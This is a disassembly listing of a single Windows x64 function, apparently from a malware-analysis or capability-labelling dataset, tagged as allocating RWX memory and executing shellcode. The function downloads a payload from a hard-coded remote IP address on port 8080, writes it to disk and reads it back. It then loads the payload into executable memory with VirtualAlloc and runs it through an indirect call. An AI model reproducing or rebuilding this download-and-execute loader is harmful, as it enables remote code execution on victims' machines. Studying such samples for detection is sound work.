Function at 0x1400115d2
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
jmp 0x14001aab0
push rbp
push rdi
sub rsp, 0x508
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0xd6
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14002b040]
xor rax, rbp
mov qword [rbp + 0x4c0], rax
lea rcx, [0x1400320f5]
call fcn.140011875
lea rax, str.http:__146.196.81.158:8080_output_64.bin
mov qword [rbp + 8], rax
lea rax, str.downloaded_file.bin
mov qword [rbp + 0x28], rax
mov rdx, qword [rbp + 0x28]
mov rcx, qword [rbp + 8]
call fcn.140011163
movzx eax, al
test eax, eax
jne 0x14001ab34
lea rdx, str.Failed_to_download_the_file._n
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140011104
mov eax, 1
jmp 0x14001ae10
mov edx, 0x110
lea rcx, [rbp + 0x50]
call fcn.1400115e1
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 0x24
mov rdx, qword [rbp + 0x28]
lea rcx, [rbp + 0x50]
call fcn.1400117d5
nop
lea rcx, [rbp + 0x50]
call fcn.14001103c
movzx eax, al
test eax, eax
jne 0x14001aba5
lea rdx, str.Failed_to_open_the_file._n
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140011104
mov dword [rbp + 0x374], 1
lea rcx, [rbp + 0x50]
call fcn.14001115e
mov eax, dword [rbp + 0x374]
jmp 0x14001ae10
lea rdx, [rbp + 0x398]
lea rcx, [rbp + 0x50]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::fpos_struct__Mbstatet____cdecl_std::basic_istream_char__struct_std::char_traits_char__::tellg_void____ptr64]
mov rcx, rax
call fcn.1400118a7
mov qword [rbp + 0x178], rax
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x50]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::seekg_long_long___int64___int____ptr64]
mov rcx, qword [rbp + 0x178]
call fcn.140011398
mov qword [rbp + 0x3c8], rax
mov rax, qword [rbp + 0x3c8]
mov qword [rbp + 0x198], rax
mov r8, qword [rbp + 0x178]
mov rdx, qword [rbp + 0x198]
lea rcx, [rbp + 0x50]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::read_char____ptr64__long_long___int64_____ptr64]
mov qword [rbp + 0x3e8], rax
mov rax, qword [rbp + 0x3e8]
mov rax, qword [rax]
movsxd rax, dword [rax + 4]
mov rcx, qword [rbp + 0x3e8]
add rcx, rax
mov rax, rcx
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_bool___cdecl_std::ios_base::operator__void_const___ptr64]
movzx eax, al
test eax, eax
je 0x14001acba
lea rdx, str.Failed_to_read_the_file._n
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140011104
mov rax, qword [rbp + 0x198]
mov qword [rbp + 0x408], rax
mov rcx, qword [rbp + 0x408]
call fcn.140011406
cmp qword [rbp + 0x408], 0
jne 0x14001ac83
mov qword [rbp + 0x4b8], 0
jmp 0x14001ac9c
mov qword [rbp + 0x198], 0x8123
mov rax, qword [rbp + 0x198]
mov qword [rbp + 0x4b8], rax
mov dword [rbp + 0x424], 1
lea rcx, [rbp + 0x50]
call fcn.14001115e
mov eax, dword [rbp + 0x424]
jmp 0x14001ae10
lea rcx, [rbp + 0x50]
call fcn.1400114bf
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, qword [rbp + 0x178]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp + 0x1b8], rax
cmp qword [rbp + 0x1b8], 0
jne 0x14001ad6a
lea rdx, str.Failed_to_allocate_memory._n
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140011104
mov rax, qword [rbp + 0x198]
mov qword [rbp + 0x448], rax
mov rcx, qword [rbp + 0x448]
call fcn.140011406
cmp qword [rbp + 0x448], 0
jne 0x14001ad33
mov qword [rbp + 0x4b8], 0
jmp 0x14001ad4c
mov qword [rbp + 0x198], 0x8123
mov rax, qword [rbp + 0x198]
mov qword [rbp + 0x4b8], rax
mov dword [rbp + 0x464], 1
lea rcx, [rbp + 0x50]
call fcn.14001115e
mov eax, dword [rbp + 0x464]
jmp 0x14001ae10
mov r8, qword [rbp + 0x178]
mov rdx, qword [rbp + 0x198]
mov rcx, qword [rbp + 0x1b8]
call fcn.140011415
mov rax, qword [rbp + 0x1b8]
mov qword [rbp + 0x1d8], rax
call qword [rbp + 0x1d8]
mov rax, qword [rbp + 0x198]
mov qword [rbp + 0x488], rax
mov rcx, qword [rbp + 0x488]
call fcn.140011406
cmp qword [rbp + 0x488], 0
jne 0x14001adc9
mov qword [rbp + 0x4b8], 0
jmp 0x14001ade2
mov qword [rbp + 0x198], 0x8123
mov rax, qword [rbp + 0x198]
mov qword [rbp + 0x4b8], rax
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rbp + 0x1b8]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [rbp + 0x4a4], 0
lea rcx, [rbp + 0x50]
call fcn.14001115e
mov eax, dword [rbp + 0x4a4]
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x140026710]
call fcn.140011708
mov rax, rdi
mov rcx, qword [rbp + 0x4c0]
xor rcx, rbp
call fcn.140011410
lea rsp, [rbp + 0x4d8]
pop rdi
pop rbp
ret